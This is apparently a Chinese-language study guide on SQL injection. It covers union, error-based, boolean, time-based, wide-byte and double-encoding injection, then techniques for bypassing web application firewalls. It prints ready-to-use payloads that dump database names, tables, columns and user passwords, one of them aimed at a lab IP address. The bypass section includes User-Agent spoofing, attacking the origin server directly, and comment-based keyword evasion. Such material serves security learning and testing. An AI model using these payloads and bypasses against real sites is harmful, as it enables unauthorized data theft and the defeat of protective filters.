一、SQL注入:SQL注入就是是一种将SQL语句插入或添加到应用(用户)的输入
参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。
最终使用户可控的输入被带入到了数据库中进行执行。
1.1存在SQL注入的地方大致有:
l Get
l Post
l Cookie
l http头部
1.2 SQL注入的基本类型
l Union联合查询注入
l 基于报错注入(extractvalue(arg1,arg2),updatexml,floor)
l 基于布尔类型注入
l 基于时间的注入 -- sleep(arg1), benchmark(arg1,arg2)
l 宽字节注入,二次编码注入 (%df%23, %2527)、
分类介绍:
1.2.1 Union联合查询注入:需要的条件
1.union必须由两条或两条以上的SELECT语句组成
2.union中的每个查询必须包含相同的列
3.union会从查询结果集中自动去除了重复行。
4.union注入使用的前提是页面要有显示位。这个也是一个union的缺点或者说是限制。
Union联合查询注入大致步骤:
1. 判断列数 -- 通过 order by n;
2. 判断显示位 -- id =-1 union select 1,2,3...........
3. 爆库
id=-1'UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--
?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--
4. 爆表
?id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--
小计:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制,也可以直接从数据库查询的语句取出来表的名
5. 暴字段
?id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--
6. 暴数据
?id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--
1.2.2 报错注入
1.报错注入就是构造让信息通过错误提示回显出来,
前提:页面上没有显示位,但是需要执行SQl语句输出错误信息
1.1通过extractvalue(arg1,arg2)报错
通过updateXML(arg1,arg2,arg3)报错
通过floor(arg1)报错
1.2 步骤 :
1. 查询数据库名字
1’ and extractvalue(1,concat(0x74,(select database()),0x7e#
2. 查看数据库有哪些表
1’and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()) limit 0,1),0x7e)#
3,查看表右哪些列名
1’and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1),0x7e))#
4,最后查看数据
1’ and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#
1.2.3 基于布尔类型的注入
页面上不需要显示位,也没有输出错误信息,只能通过页面返回是否正常
exists( )函数:
exists 用于检查子查询是否只要会返回一行数据,该子查询实际上并不返回任何数据,而是返回True或False
ascii( )函数:
返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。
查寻步骤同上面的一样,只不过需要获取结果的ascii值。来进行查询字符
1.2.4 时间注入
原理:正确的sql语句和错误的sql语句返回的时间不一样,依此来判断查询结果的正确性,但是要耗费大量时间。
Sleep(arg) arg中断的时间,
Select if(1=1,sleep( 5),0),结果页面延迟5秒显示,如果判断错误,则直接显示0,不进行等待5秒,
例如:select first_name,last_name from users where user_id='2' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>150,sleep(3),0);
// 表示当前库的第二个表名的第一个字符的ascii码值大于150,就延迟3秒返回结果,若小于150 ,直接返回结果,不执行sleep()函数;
1.2.5宽字节注入 && 二次编码注入
1.宽字节注入主要是编码转换的问题的注入
2.当提交id=1’ and 1=1%23后,引号会被转义为1\’,显然这是失败的注入,。因为单引号被转义导致没有闭合前面的单引号。但是我们在提交id=1%df’ and 1%23 后,单引号会转义成\’--%5c和前面的%df结合通过gbk编码得到一个汉字,这时后面的单引号会闭合前面的单引号,形成完整的sql查询语句,
例如:
http://192.168.31.133/shiyan/kzj.php?id=2%df%27 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)),0x7e))%23
// 表示的是根据表名,把对应表下面的列字段全部根据错误注入的返回暴出。
二次编码:形如id=2%2527, 先把%25编码为%和后面的27结合为%27 ,就是单引号。
二、绕过WAF注入
1.什么是waf
WAF全称Web Application Firewall,是部署在web服务器前面保护网站应用抵御来自外部和内部的攻击。通俗点讲就是网页服务器的专门保镖
2.WAF分类
1硬件waf ->服务器 性能更加强大,里面的核心原理还是规则匹配,
2云waf -> 百度加速乐,域名解析权限给云。
3代码waf -> ModSecurity
4软件WAF -> 安全狗
3. waf三个基本步骤: 身份认证 数据包解析 规则匹配。
4. Waf的检测主要有三个阶段:
1. 首先进行身份验证,白名单的直接给服务器,废白名单的要去进行数据包的解析,
2. 无法解析数据包的将丢弃给服务器处理,正常解析的去进行规则判断。
3. 符合规则的给服务器,不符合规则的将进行拦截。
5. 怎么绕过waf
1.身份认证的绕过
WAF是有一个白名单的,在白名单内的客户请求将不做检测
1.1伪造搜索引擎
早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎便可以绕过,进行sql注入等攻击
1.2伪造白名单特殊目录
1.3直接攻击源站
这个方法的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果能通过一些手段找到原始的服务器地址,便可以绕过.
2.数据包解析的绕过
2.1编码绕过
进行urlencode
2.2修改请求方式绕过
有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。
WAF在这里主要是针对一些特殊的关键词或者用法进行检测。可以用cookie中转注入。
3.规则匹配的绕过
3.1特殊字符替换空格
3.2特殊字符拼接
把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,
3)注释包含关键字
在mysql中,可以利用/*!*/包含关键词进行绕过。